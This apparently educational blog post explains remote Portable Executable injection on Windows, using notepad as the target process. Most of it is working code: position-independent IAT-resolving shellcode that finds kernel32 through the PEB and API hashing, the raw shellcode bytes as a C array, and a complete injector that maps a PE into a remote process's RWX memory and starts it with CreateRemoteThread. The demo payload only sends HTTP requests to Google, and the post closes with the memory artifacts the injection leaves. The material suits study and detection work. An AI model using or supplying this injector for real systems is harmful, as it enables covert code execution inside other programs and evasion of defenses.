Remote Portable Executable Injection

Classic Remote Process Injection Implementation

Remote Portable Executable Injection
https://openart.ai/discovery/sd-1007233099169546352

Introduction

This post will introduce the concept of injecting PE files into a remote process. Previously, local PE injection was discussed. However, the same technique can be altered to inject code into another remote process on the same system.

This post will describe the core injection logic and the payload that will be injected into another process, along with a potential solution of how to deal with the challenge of resolving the Import Address Table (IAT) in a remote memory address space.

Source Code for Examples

The associated code example for this post can be found on the following link.

Payload

The payload for this example will send a HTTP request to Google. This was chosen so that the payload is simple and there is visual feedback that can be seen when the payload is running. Below the sendHTTPRequest function is responsible for sending the HTTP request.

int sendHTTPRequest() {

        LPCSTR userAgent = "agent";
        LPCSTR connectDomain = "google.com";
        LPCSTR httpRequestType = "GET";
        LPCSTR targetPath = "/test";

        HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (internetHandle == NULL) {
                return -1;
        }

        DWORD_PTR dwService = (DWORD_PTR)NULL;

        HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
        if (httpHandle == NULL) {
                return -1;
        }

        HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
        if (httpRequestHandle == NULL) {
                return -1;
        }

        BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
        InternetCloseHandle(internetHandle);

        return 1;
}
HTTP Request Function that acts as our "Payload'

The loopHTTPConnect function will be responsible for looping through the sendHTTPRequest function every two seconds.

void loopHTTPConnect() {

        while (true) {
                Sleep(2000);
                sendHTTPRequest();
                printf("Sent HTTP Request\n");
        }

}
Function that loops through the "Payload" function

The loopHTTPConnect function will be invoked from the programs main() function. This is a standard executable file that can be run directly in Windows, however, our goal is to run it inside of a injector without directly invoking it.

int main() {

        printf("HTTP Payload Sending Starting\n");
        loopHTTPConnect();
}
The Payloads Main Function

Import Address Table Fixing Shellcode

When a payload has an Import Address Table (IAT) a challange arises, we need to resolve the IAT in the target process where it is going to be executed.

Wait, why can't we resolve the IAT before injecting into a process?

When we resolve an IAT, at the core we are loading DLL's into the process and updating values that point to various functions in that DLL.

This process needs to be completed in the process where the payload will be executed, in this case it would be the remote process. Due to Address Space Layout Randomization (ASLR) DLL's will have different base addresses. This means if we resolve the IAT before injecting the addresses that point to functions will be incorrect, and likely the DLL's they should point to won't even be loaded.

There are some edge cases, if the payload does not have an IAT then this is not an issue. More over, if the only DLL's the process imports from are Kernel32.dll and User32.dll then we have nothing to worry about either. This is because Kernel32.dll and User32.dll have the same base address system wide.

To deal with this challenge we will have two different paths of injection depending on if a payload has an IAT:

  • Payload Has IAT
    • Inject mapped payload into target process
    • Inject IAT Fixing Shellcode into target process
    • Invoke IAT Fixing Shellcode
  • Payload Does Not Have IAT
    • Inject mapped payload into target process
    • Invoke mapped payload entrypoint

With this approach if the payload has an IAT we will indirectly invoke the payload via shellcode that has been injected into the same target process. This shellcode will have the capability to resolve all the entries in the IAT and then redirect its own execution to the entrypoint of the payload.

To construct the IAT fixing shellcode a new exported function was created in fresh Visual Studio project. An exported function was used so the complier keeps all the code in this single function. This function will also take one parameter, this will be the address of the mapped payload.

__declspec(dllexport) void PositionIndependentIATResolver(const ULONG_PTR mappedPEFile)
Exported IAT Resolver Function

Why is this function made as an exported function?

Our core goal is to make a independent function that is not dependent on any part of the compiled program. Once this is done the entire function bytes can be copied and executed.

There are many different ways to approach this, in this case the exported function was declared to ensure the compiler does not optimize the function out. 

To start the shellcode will locate the offset of Kernel32.dll. String hashing will be used to avoid any hardcoded strings in the process.

        // Through PEB find the base address of Kernel32.dll

        _PPEB pPEB = (_PPEB)__readgsqword(0x60);
        PLDR_DATA_TABLE_ENTRY pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pPEB->pLdr->InMemoryOrderModuleList.Flink;
        PIMAGE_DOS_HEADER pKernel32Module = NULL;

        do {
                PWSTR currentModuleString = pCurrentPLDRDataTableEntry->BaseDllName.pBuffer;
                if (GetHashFromStringW(currentModuleString) == KERNEL32DLL_HASH) {
                        pKernel32Module = (PIMAGE_DOS_HEADER)pCurrentPLDRDataTableEntry->DllBase;
                        break;
                }

                pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pCurrentPLDRDataTableEntry->InMemoryOrderModuleList.Flink;

        } while (pCurrentPLDRDataTableEntry->TimeDateStamp != 0);

        if (pKernel32Module == NULL) {
                return;
        }
Find Kernel32 Base Address

Once the offset of Kernel32.dll is found the LoadLibraryA and GetProcAddress function will be resolved. We require these functions to load DLLs and resolve functions when constructing the IAT table.

        // Resolve LoadLibraryA and GetProcAddress (Adding here so compiler does not redirect to another function
        LOADLIBRARYA pLoadLibraryAAddress = NULL;
        GETPROCADDRESS pGetProcAddressAddress = NULL;

        PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(pKernel32Module->e_lfanew + (LPBYTE)pKernel32Module);
        PIMAGE_OPTIONAL_HEADER64 optionalHeader = (PIMAGE_OPTIONAL_HEADER64)& ntHeaders->OptionalHeader;
        DWORD imageExportDirectoryRVA = optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

        PIMAGE_EXPORT_DIRECTORY kernel32ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imageExportDirectoryRVA + (LPBYTE)pKernel32Module);
        PDWORD addressOfNames = (PDWORD)(kernel32ExportDirectory->AddressOfNames + (LPBYTE)pKernel32Module);
        PWORD ordinalTable = (PWORD)(kernel32ExportDirectory->AddressOfNameOrdinals + (LPBYTE)pKernel32Module);
        PDWORD addressOfFunctions = (PDWORD)(kernel32ExportDirectory->AddressOfFunctions + (LPBYTE)pKernel32Module);

        for (DWORD i = 0; i < kernel32ExportDirectory->NumberOfNames; i++) {
                LPSTR currentFunctionName = (LPSTR)(addressOfNames[i] + (LPBYTE)pKernel32Module);

                if (GetHashFromStringA(currentFunctionName) == GETPROCADDRESS_HASH) {
                        pGetProcAddressAddress = (GETPROCADDRESS)(addressOfFunctions[ordinalTable[i]] + (LPBYTE)pKernel32Module);
                }

                if (GetHashFromStringA(currentFunctionName) == LOADLIBRARYA_HASH) {
                        pLoadLibraryAAddress = (LOADLIBRARYA)(addressOfFunctions[ordinalTable[i]] + (LPBYTE)pKernel32Module);
                }

                // If both are resolved we can exit the loop
                if (pLoadLibraryAAddress != NULL && pGetProcAddressAddress != NULL) {
                        break;
                }

        }

        if (pLoadLibraryAAddress == NULL || pGetProcAddressAddress == NULL) {
                return;
        }
Resolve Required Win32 API Functions via API Hashing

Next, comes the process of resolving the IAT table. The following will loop through each entry in the IAT, load a DLL if required, and resolve the address of any function that the program may require during its execution.

        /*
        Step 2: Resolve the IAT
        */

        PIMAGE_NT_HEADERS64 pMappedCurrentDLLNTHeader = (PIMAGE_NT_HEADERS64)(((PIMAGE_DOS_HEADER)mappedPEFile)->e_lfanew + (LPBYTE)mappedPEFile);
        PIMAGE_IMPORT_DESCRIPTOR pMappedCurrentDLLImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pMappedCurrentDLLNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (LPBYTE)mappedPEFile);

        while (pMappedCurrentDLLImportDescriptor->Name != NULL) {
                LPSTR currentDLLName = (LPSTR)(pMappedCurrentDLLImportDescriptor->Name + (LPBYTE)mappedPEFile);
                HMODULE hCurrentDLLModule = pLoadLibraryAAddress(currentDLLName);

                PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pMappedCurrentDLLImportDescriptor->FirstThunk + (LPBYTE)mappedPEFile);

                while (pImageThunkData->u1.AddressOfData) {

                        if (pImageThunkData->u1.Ordinal & 0x8000000000000000) {
                                // Import is by ordinal

                                FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, MAKEINTRESOURCEA(pImageThunkData->u1.Ordinal));

                                if (resolvedImportAddress == NULL) {
                                        return;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }
                        else {
                                // Import is by name
                                PIMAGE_IMPORT_BY_NAME pAddressOfImportData = (PIMAGE_IMPORT_BY_NAME)((pImageThunkData->u1.AddressOfData) + (LPBYTE)mappedPEFile);
                                FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, pAddressOfImportData->Name);

                                if (resolvedImportAddress == NULL) {
                                        return;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }

                        pImageThunkData++;
                }

                pMappedCurrentDLLImportDescriptor++;
        }
Resolve the IAT Table

Finally, after the IAT is fixed up the shellcode will redirect its execution to the main payload by calling the entrypoint. This will ensure that the thread created for the IAT shellcode is reused to execute the payload as well.

        /*
        Step 3: Jump to the entrypoint of the payload
        */

        void (*pEntryPoint)(void) = (void (*)()) (pMappedCurrentDLLNTHeader->OptionalHeader.AddressOfEntryPoint + (LPBYTE)mappedPEFile);
        pEntryPoint();
}
Jump to the Payload Entrypoint

Once the code was written and compiled in Visual Studio the function was located in IDA. Since this function was designed to be position independent and not dependent on anything hardcoded the raw code bytes can be copied out to use as shellcode.

PositionIndependentIATResolver Function Copied from IDA as Raw Bytes

The following Python script was used to create a valid C syntax array so the shellcode can be added to any software that will require it.

shellcode = "41574883EC4065488B0425600000004C8BF9488B50184C8B5A20660F1F4400004D8B53504533C0664539027410498BC249FFC0488D40026683380075F333D2448D4A354D85C074300F1F840000000000410FB70C5248FFC24169C19EF2100003C881E1FFFFFF004403C9493BD072E14181F967400C0574114D8B1B41837B7000759E4883C440415FC348895C2450498B5B204885DB0F84F10100004863433C48896C2460488974246833F648897C24388B8C18880000004803CB4C896424304C896C24284533E44C897424204533F68B41188B69208B79244803EB448B691C4803FB4C03EB8944245885C00F847D0100000F1F40006666660F1F840000000000448B550033D24C03D3450FB61A4584DB741A498BC26666660F1F84000000000048FFC2488D400180380075F44533C041B9350000004885D27439660F1F440000430FBE0C1049FFC04169C19EF2100003C881E1FFFFFF004403C94C3BC272E14181F99DE0A305750B0FB707418B7485004803F333D24584DB7412498BC20F1F0048FFC2488D400180380075F44533C041B9350000004885D27439660F1F440000430FBE0C1049FFC04169C19EF2100003C881E1FFFFFF004403C94C3BC272E14181F941F26906750B0FB707458B6485004C03E34D85E474054885F6751641FFC64883C5044883C702443B7424580F820DFFFFFF4D85E474764885F6747149636F3C468BB43D900000004983C60C4D03F7418B0685C0744D8BC84903CF41FFD4418B5E04488BF84903DF488B0B4885C9742779050FB7D1EB07498D57024803D1488BCFFFD64885C074254889034883C308488B0B4885C975D9418B46144983C61485C075B3428B443D284903C7FFD04C8B6C24284C8B642430488B7C2438488B742468488B6C24604C8B742420488B5C24504883C440415FC3"

formatted_bytes = []

for byte_index in range(0,len(shellcode),2):

    current_byte = "0x" + str(shellcode[byte_index:byte_index+2])
    formatted_bytes.append(current_byte)

shellcode_length = len(formatted_bytes)

print("BYTE iatFixShellArray[] = { ", end='')
for index, shellcode_byte in enumerate(formatted_bytes):
    print(shellcode_byte, end='')

    # Ensure we don't print a ',' at the very end
    if index != (shellcode_length - 1):
        print(",", end='')

print(" };")
print("SIZE_T iatFixShellArrayLength = {};\n".format(shellcode_length));
Create C Array from Raw Bytes

The output of the above Python script can be seen below.

Shellcode in C Array

Remote Portable Executable Injector

The remote portable executable injector will be responsible for injecting the payload into another remote process. Optionally, if the payload has an IAT to construct, helper shellcode will be injected with the payload to perform this task.

Load the Target Payload

The first step is to read in the payload file from disk, this is achieved by using both CreateFileA to open, GetFileSize to allocate enough heap space via HeapAlloc, and reading the file into the heap space with ReadFile. The payload in this case is read from disk for example purposes, however, it is possible to download it from the network or any other location as well.

        HANDLE hExePayloadFile = CreateFileA(&(exePath[0]), GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
        if (hExePayloadFile == INVALID_HANDLE_VALUE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        DWORD exePayloadFileSize = GetFileSize(hExePayloadFile, NULL);
        if (exePayloadFileSize == INVALID_FILE_SIZE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        PIMAGE_DOS_HEADER pExePayloadUnmapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, exePayloadFileSize);
        if (pExePayloadUnmapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        if (!ReadFile(hExePayloadFile, pExePayloadUnmapped, exePayloadFileSize, NULL, NULL)) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        CloseHandle(hExePayloadFile);
Reading the Payload from Disk into Memory

Map the Target Payload

The next step is to map the payload, this is required as to execute the file it must be stored in a virtual memory representation rather than an on-disk representation. To start we allocate enough heap space to store the mapped PE file.

        // Allocate new heap space for mapped executable

        PIMAGE_NT_HEADERS64 pExePayloadNTHeaders = (PIMAGE_NT_HEADERS64)(pExePayloadUnmapped->e_lfanew + (LPBYTE)pExePayloadUnmapped);

        PIMAGE_DOS_HEADER pExePayloadMapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pExePayloadNTHeaders->OptionalHeader.SizeOfImage);
        if (pExePayloadUnmapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }
Allocate a Buffer for the Mapped Version of the Payload

Next, the PE headers are copied directly to the newly allocated buffer space. There are no changes required to the headers.

        // Copy headers to mapped memory space

        DWORD totalHeaderSize = pExePayloadNTHeaders->OptionalHeader.SizeOfHeaders;
        memcpy_s(pExePayloadMapped, totalHeaderSize, pExePayloadUnmapped, totalHeaderSize);
Copy the PE Headers into Buffer

After, the PE sections are copied over. When copying the PE sections the virtual address offset is used to figure out the destination in which the PE section should be present in, rather than the raw offset that is used when the file is on disk.

        // Map PE sections into mapped memory space

        DWORD numberOfSections = pExePayloadNTHeaders->FileHeader.NumberOfSections;
        PIMAGE_SECTION_HEADER pCurrentSection = (PIMAGE_SECTION_HEADER)(pExePayloadNTHeaders->FileHeader.SizeOfOptionalHeader + (LPBYTE) & (pExePayloadNTHeaders->OptionalHeader));

        for (DWORD i = 0; i < numberOfSections; i++, pCurrentSection++) {

                if (pCurrentSection->SizeOfRawData != 0) {
                        LPBYTE pSourceSectionData = pCurrentSection->PointerToRawData + (LPBYTE)pExePayloadUnmapped;
                        LPBYTE pDestinationSectionData = pCurrentSection->VirtualAddress + (LPBYTE)pExePayloadMapped;
                        DWORD sectionSize = pCurrentSection->SizeOfRawData;

                        memcpy_s(pDestinationSectionData, sectionSize, pSourceSectionData, sectionSize);
                }
        }
Copy PE Sections into Buffer by Virtual Address Offset

Allocate Memory in Target Process

Next, a process handle is opened to the process we would like to inject into. In this example notepad is used.

        // Find PID of Target Process
        LPCWSTR injectionTargetProcess = L"notepad.exe";
        DWORD injectionTargetProcessID = FindProcessID((LPWSTR)injectionTargetProcess);

        if (injectionTargetProcessID == -1) {
                wprintf(L"Could not find process: %ls", injectionTargetProcess);
                return 0;
        }

        wprintf(L"Injecting into %ls (%d)\n", injectionTargetProcess, injectionTargetProcessID);

        HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, injectionTargetProcessID);
        if (hTargetProcess == NULL) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
                return -1;
        }
Allocate Memory in Remote Process

VirtualAllocEx is used to allocate a buffer in notepad process. This buffer is made readable, writable, and executable in order to be able to write the payload and execute it in the remote process.

One of the main reasons for performing this allocate at this stage is that when fixing the Base Relocation table it is critical to have the offset a PE file will be located at. In this case the offset is stored in pRemoteMappedBuffer.

        LPVOID pRemoteMappedBuffer = VirtualAllocEx(hTargetProcess, NULL, pExePayloadNTHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (pRemoteMappedBuffer == NULL) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << errorMessage << "\n";
                return -1;
        }
Allocate Memory in Remote Process for the Payload

Update the Base Relocation Table

The Base Relocation Table will need to be updated in order to ensure that any hardcoded address in the DLL will resolve properly with the new base offset. Note, the updated value is in reference to the address we allocated with VirtualAllocEx.

        DWORD baseRelocationRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        PIMAGE_BASE_RELOCATION pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)(baseRelocationRVA + (LPBYTE)pExePayloadMapped);

        while (pCurrentBaseRelocation->VirtualAddress != NULL && baseRelocationRVA != 0) {

                DWORD relocationEntryCount = (pCurrentBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
                PIMAGE_RELOC pCurrentBaseRelocationEntry = (PIMAGE_RELOC)((LPBYTE)pCurrentBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = 0; i < relocationEntryCount; i++, pCurrentBaseRelocationEntry++) {
                        if (pCurrentBaseRelocationEntry->type == IMAGE_REL_BASED_DIR64) {

                                ULONGLONG* pRelocationValue = (ULONGLONG*)((LPBYTE)pExePayloadMapped + (ULONGLONG)((ULONGLONG)pCurrentBaseRelocation->VirtualAddress + pCurrentBaseRelocationEntry->offset));
                                ULONGLONG updatedRelocationValue = (ULONGLONG)((*pRelocationValue - pExePayloadNTHeaders->OptionalHeader.ImageBase) + (LPBYTE)pRemoteMappedBuffer);
                                *pRelocationValue = updatedRelocationValue;
                        }
                }

                // Increment current base relocation entry to the next one, we do this by adding its total size to the current offset
                pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBaseRelocation + pCurrentBaseRelocation->SizeOfBlock);
        }
Update Base Relocation Table

Copy Mapped Payload to Target Process

Now that the PE file is mapped and has the Base Relocation Table fixed up, the entire mapped PE file can be copied over to the target process.

        if (!WriteProcessMemory(hTargetProcess, pRemoteMappedBuffer, (LPVOID)pExePayloadMapped, pExePayloadNTHeaders->OptionalHeader.SizeOfImage, NULL)) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << errorMessage << "\n";
                return -1;
        }

Injection of Payload

Injection with IAT Fixing Shellcode

If the PE payload has an IAT, it will need to be resolved inside of the remote process. This is because other DLL’s may need to be loaded, such s Wininet.dll, that the payload will depend on.

In this injection option if the PE payload has an IAT, optional IAT resolving shellcode will be injected into the target process. In this case we have our shellcode stored in iatFixShellArray. A new readable, writable, and executable buffer is created in the remote process to accommodate for this shellcode.

Once the shellcode is written to the remote process it can be invoke via CreateRemoteThread. One important aspact is the offset of the PE payload is passed to the shellcode. This is important as the shellcode will need to know where in memory the PE payload is located in order to fix the IAT of the payload.

After the shellcode is finished running, it will redirect execution to the PE payload in the same thread it was running.

        DWORD importDescriptorRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

        if (importDescriptorRVA != 0) {

                BYTE iatFixShellArray[] = { 0x41,0x57,0x48,0x83,0xEC,0x40,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x4C,0x8B,0xF9,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x5A,0x20,0x66,0x0F,0x1F,0x44,0x00,0x00,0x4D,0x8B,0x53,0x50,0x45,0x33,0xC0,0x66,0x45,0x39,0x02,0x74,0x10,0x49,0x8B,0xC2,0x49,0xFF,0xC0,0x48,0x8D,0x40,0x02,0x66,0x83,0x38,0x00,0x75,0xF3,0x33,0xD2,0x44,0x8D,0x4A,0x35,0x4D,0x85,0xC0,0x74,0x30,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x41,0x0F,0xB7,0x0C,0x52,0x48,0xFF,0xC2,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x49,0x3B,0xD0,0x72,0xE1,0x41,0x81,0xF9,0x67,0x40,0x0C,0x05,0x74,0x11,0x4D,0x8B,0x1B,0x41,0x83,0x7B,0x70,0x00,0x75,0x9E,0x48,0x83,0xC4,0x40,0x41,0x5F,0xC3,0x48,0x89,0x5C,0x24,0x50,0x49,0x8B,0x5B,0x20,0x48,0x85,0xDB,0x0F,0x84,0xF1,0x01,0x00,0x00,0x48,0x63,0x43,0x3C,0x48,0x89,0x6C,0x24,0x60,0x48,0x89,0x74,0x24,0x68,0x33,0xF6,0x48,0x89,0x7C,0x24,0x38,0x8B,0x8C,0x18,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x4C,0x89,0x64,0x24,0x30,0x4C,0x89,0x6C,0x24,0x28,0x45,0x33,0xE4,0x4C,0x89,0x74,0x24,0x20,0x45,0x33,0xF6,0x8B,0x41,0x18,0x8B,0x69,0x20,0x8B,0x79,0x24,0x48,0x03,0xEB,0x44,0x8B,0x69,0x1C,0x48,0x03,0xFB,0x4C,0x03,0xEB,0x89,0x44,0x24,0x58,0x85,0xC0,0x0F,0x84,0x7D,0x01,0x00,0x00,0x0F,0x1F,0x40,0x00,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x55,0x00,0x33,0xD2,0x4C,0x03,0xD3,0x45,0x0F,0xB6,0x1A,0x45,0x84,0xDB,0x74,0x1A,0x49,0x8B,0xC2,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0xFF,0xC2,0x48,0x8D,0x40,0x01,0x80,0x38,0x00,0x75,0xF4,0x45,0x33,0xC0,0x41,0xB9,0x35,0x00,0x00,0x00,0x48,0x85,0xD2,0x74,0x39,0x66,0x0F,0x1F,0x44,0x00,0x00,0x43,0x0F,0xBE,0x0C,0x10,0x49,0xFF,0xC0,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x4C,0x3B,0xC2,0x72,0xE1,0x41,0x81,0xF9,0x9D,0xE0,0xA3,0x05,0x75,0x0B,0x0F,0xB7,0x07,0x41,0x8B,0x74,0x85,0x00,0x48,0x03,0xF3,0x33,0xD2,0x45,0x84,0xDB,0x74,0x12,0x49,0x8B,0xC2,0x0F,0x1F,0x00,0x48,0xFF,0xC2,0x48,0x8D,0x40,0x01,0x80,0x38,0x00,0x75,0xF4,0x45,0x33,0xC0,0x41,0xB9,0x35,0x00,0x00,0x00,0x48,0x85,0xD2,0x74,0x39,0x66,0x0F,0x1F,0x44,0x00,0x00,0x43,0x0F,0xBE,0x0C,0x10,0x49,0xFF,0xC0,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x4C,0x3B,0xC2,0x72,0xE1,0x41,0x81,0xF9,0x41,0xF2,0x69,0x06,0x75,0x0B,0x0F,0xB7,0x07,0x45,0x8B,0x64,0x85,0x00,0x4C,0x03,0xE3,0x4D,0x85,0xE4,0x74,0x05,0x48,0x85,0xF6,0x75,0x16,0x41,0xFF,0xC6,0x48,0x83,0xC5,0x04,0x48,0x83,0xC7,0x02,0x44,0x3B,0x74,0x24,0x58,0x0F,0x82,0x0D,0xFF,0xFF,0xFF,0x4D,0x85,0xE4,0x74,0x76,0x48,0x85,0xF6,0x74,0x71,0x49,0x63,0x6F,0x3C,0x46,0x8B,0xB4,0x3D,0x90,0x00,0x00,0x00,0x49,0x83,0xC6,0x0C,0x4D,0x03,0xF7,0x41,0x8B,0x06,0x85,0xC0,0x74,0x4D,0x8B,0xC8,0x49,0x03,0xCF,0x41,0xFF,0xD4,0x41,0x8B,0x5E,0x04,0x48,0x8B,0xF8,0x49,0x03,0xDF,0x48,0x8B,0x0B,0x48,0x85,0xC9,0x74,0x27,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x49,0x8D,0x57,0x02,0x48,0x03,0xD1,0x48,0x8B,0xCF,0xFF,0xD6,0x48,0x85,0xC0,0x74,0x25,0x48,0x89,0x03,0x48,0x83,0xC3,0x08,0x48,0x8B,0x0B,0x48,0x85,0xC9,0x75,0xD9,0x41,0x8B,0x46,0x14,0x49,0x83,0xC6,0x14,0x85,0xC0,0x75,0xB3,0x42,0x8B,0x44,0x3D,0x28,0x49,0x03,0xC7,0xFF,0xD0,0x4C,0x8B,0x6C,0x24,0x28,0x4C,0x8B,0x64,0x24,0x30,0x48,0x8B,0x7C,0x24,0x38,0x48,0x8B,0x74,0x24,0x68,0x48,0x8B,0x6C,0x24,0x60,0x4C,0x8B,0x74,0x24,0x20,0x48,0x8B,0x5C,0x24,0x50,0x48,0x83,0xC4,0x40,0x41,0x5F,0xC3 };
                SIZE_T iatFixShellArrayLength = 664;


                LPVOID pIATFixShellcode = VirtualAllocEx(hTargetProcess, NULL, iatFixShellArrayLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                if (pIATFixShellcode == NULL) {
                        std::string errorMessage = GetLastErrorAsString();
                        std::cout << errorMessage << "\n";
                        return -1;
                }

                if (!WriteProcessMemory(hTargetProcess, pIATFixShellcode, (LPVOID)iatFixShellArray, iatFixShellArrayLength, NULL)) {
                        std::string errorMessage = GetLastErrorAsString();
                        std::cout << errorMessage << "\n";
                        return -1;
                }

                HANDLE hRemoteThread = CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pIATFixShellcode, pRemoteMappedBuffer, 0, NULL);
                if (hRemoteThread == NULL) {
                        std::string errorMessage = GetLastErrorAsString();
                        std::cout << errorMessage << "\n";
                        return -1;
                }
        }
Inject and Run the IAT Fixer Shellcode

Direct Injection

Alternately, if the PE payload does not have IAT then there is no need to inject the shellcode. A CreateRemoteThread can be used to invoke the entrypoint of PE payload.

        else if (importDescriptorRVA == 0) {

                LPTHREAD_START_ROUTINE pEntryPoint = (LPTHREAD_START_ROUTINE)(pExePayloadNTHeaders->OptionalHeader.AddressOfEntryPoint + (LPBYTE)pRemoteMappedBuffer);

                HANDLE hRemoteThread = CreateRemoteThread(hTargetProcess, NULL, 0, pEntryPoint, NULL, NULL, NULL);
                if (hRemoteThread == NULL) {
                        std::string errorMessage = GetLastErrorAsString();
                        std::cout << errorMessage << "\n";
                        return -1;
                }

        }
Run the Injected PE Entrypoint as a New Thread


Remote Portable Executable Injection Demonstration

The following GIF provides a video demonstration of the injection process. We can see the injector running and injecting into a Noteprocess (PID 2008). At the same time Process Hacker indicates there is some activity occurring with the threads of the process, and shortly after HTTP traffic starts flowing in Wireshark indicating a successful injection.

Injection Demonstration

Looking deeper into the Notepad process with Process Hacker we can see there is a section of memory that is readable, writable, and executable storing the bytes associated with the IAT fixing shellcode.

IAT Fixer Shellcode Injected

We can also see another readable, writable, and executable memory space that stores the PE payload.

Injected Payload